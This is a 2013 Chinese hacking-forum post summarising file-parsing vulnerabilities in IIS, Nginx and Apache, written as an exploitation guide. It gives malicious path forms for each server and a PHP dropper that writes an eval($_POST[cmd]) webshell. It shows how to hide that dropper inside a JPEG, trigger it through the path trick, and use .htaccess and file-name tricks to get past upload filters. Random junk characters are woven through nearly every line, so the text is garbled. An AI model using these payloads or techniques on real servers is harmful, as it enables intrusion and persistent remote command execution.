找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2978|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain
: D) P" K$ ]8 q, C5 r/ s& e$ U# f[+]IIS6.02 p0 F' |9 r5 H+ Q9 w$ o

7 P2 n/ G6 t7 o/ h% c. ~5 l目录解析:/xx.asp/xx.jpg 6 C! P* R+ q2 z
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
+ M: K: n' S. P* O1 v! t IIS6.0 会将 xx.jpg 解析为 asp 文件。; D& |1 l! S2 E9 u% O) P) X! @
后缀解析:/xx.asp;.jpg     
- ]1 V" _5 f4 J7 n: p6 Q% s IIS6.0 都会把此类后缀文件成功解析为 asp 文件。! ]# c! S, ~& S' g- \! {8 f) e
默认解析:/xx.asa
. p1 g2 Q+ t6 V" |/ _0 n- J         /xx.cer
/ i9 k& ]1 Y1 i1 `: w8 ~* _$ X) H         /xx.cdx6 a' N9 D% e6 m& ?# F
IIS6.0 默认的可执行文件除了 asp 还包含这三种
  H  B1 L- [& B# n' b' }4 P 此处可联系利用目录解析漏洞 6 v9 D: M2 o2 ]
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
  C# e+ ]$ v, A[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
4 }6 u2 t/ E5 I! Z3 L- q 2 s7 h7 `- z& U0 i! [" Z( D0 Y
IIS 7.0/IIS 7.5/Nginx <0.8.03
5 E  R- {5 Q; l 在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面# S1 Z% C) V/ G9 w' c
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
% j& w  b) `) ]( |& h" G 常用利用方法:. [2 O3 I' F% ^$ e
将一张图和一个写入后门代码的文本文件合并将恶意文本
& H, ?! z3 {; v 写入图片的二进制代码之后,避免破坏图片文件头和尾0 Z/ W. l2 A& |# A8 {" O! Z
如:
7 b7 ^* j6 @& s: P copy xx.jpg /b + yy.txt/a xy.jpg/ O9 f4 D1 l7 h  m' B5 W
#########################################################6 B  N8 D, W" Y- W8 l8 O- l
/b 即二进制[binary]模式9 v3 P- ?) U7 R/ Y/ {  |
/a 即ascii模式: c0 h; D; h9 R" C  `
xx.jpg 正常图片文件
2 q3 J3 U' [. f* E" s yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
/ n6 m2 b# _7 w! l '<?php eval($_POST[cmd])?>');?>
1 @0 N) ?6 z0 K1 x) F( d. J6 z1 E 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
  ]! I+ g( s2 }8 Z, O$ K. m 为shell.php的文件2 T. B% Y5 h$ t
###########################################################
+ m% N6 a- h$ a* x0 {6 c0 \1 L 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
' T3 j; [: G% Q& h1 s  { 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php + A, T# k/ r2 c2 c& S( ~$ f, ]
密码 cmd
( M! Y! }  v1 i# V2 B( G/ `[+]Nginx <0.8.03/ r) {) l8 `- f. s

/ `/ a+ p% ?3 ^0 X' C! o 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞& T2 Y, ^" X3 D; A- E; m1 e
在一个文件路径(/xx.jpg)后面加上%00.php, T( P. D+ f' T8 g' g2 a. k
会将 /xx.jpg%00.php 解析为 php 文件。
2 U7 e4 N) m' u- e! q1 \[+]Apache<0.8.03
- k2 i7 n7 Z' c3 s2 j$ }: X' Z
+ w3 m% Z$ f$ ~1 Z0 x1 k6 k 后缀解析:test.php.x1.x2.x3
: ^  |8 r: P/ K/ a; w5 i Apache将从右至左开始判断后缀,若x3非可识别后缀,/ X8 k+ ?0 u$ K; ]& _& v7 \3 j  G
再判断x2,直到找到可识别后缀为止,然后将该可识别
2 {7 N, ]7 e% p' U9 [* M9 ]/ I 后缀进解析test.php.x1.x2.x3 则会被解析为php
+ N" \5 b1 R0 I# ^& s" p 经验之谈:php|php3|phtml 多可被Apache解析。
6 [+ t- P6 o. j  ?5 m% t[+]其他一些可利用的2 d) Y# b  D  u9 `; X4 `9 A
( x( a3 c8 T' F% U/ J  m9 b
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
4 C4 s( d' A3 Q+ q8 Q, W若这样命名,windows会默认除去空格或点,这也是可以被利用的!
! T4 c) [# P) i  q, q# b0 n在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格: m* S3 }$ `: Z( v- t
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
, N/ t5 f# H7 N4 b" I( N; _; N得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。9 e. g% ?4 V; A! }) |: O5 G
{Linux主机中不行,Linux允许这类文件存在}
4 \" h. I4 j* _. O. c, ~) n6 P如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说. J; Z/ |2 L# O% t* L) L" Y' R/ u4 c
的,当初我并不知道),且可以被上传,那可以尝试在
7 W! V$ c4 x% P% @/ q4 D! `- a.htaccess中写入:& p+ d/ I" c/ o0 P" U* K
<FilesMatch “shell.jpg”>
- N' f/ Z+ r! o/ E/ D# W, @$ x3 HSetHandler application/x-httpd-php 6 G1 ]6 a, B& T$ F1 s
</FilesMatch>
* @/ q, \" N3 h$ _shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件7 m7 K2 t& t: P9 @  S
[+]错误修改8 r; C4 Q" p' b/ {- c& M6 a' R: I

; z! w% X5 T% J+ S0 S( @在 IIS 6.0 下可解析 /xx.asp:.jpg, {1 E" F4 y5 [2 }8 N7 j
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
/ k2 r- H# V8 r1 D% ^8 v( `剩下/xx.asp}修改:
! s: X  a- |! G% N2 A9 b先谢谢核攻击的提醒
* o- B, }  G) p2 Q当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
6 v7 Q# s3 p' C* j里是没有任何内容的,因为。。不好解释 大家自己看1 W4 T' |! u  ]& O2 y8 u6 P
http://lcx.cc/?i=2448
  R' m! B- ]" Q/ thttp://baike.baidu.com/view/3619593.htm
8 y" D& ]- F) r6 o​
8 w9 n4 N' u* m. z# b( m+ h: `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表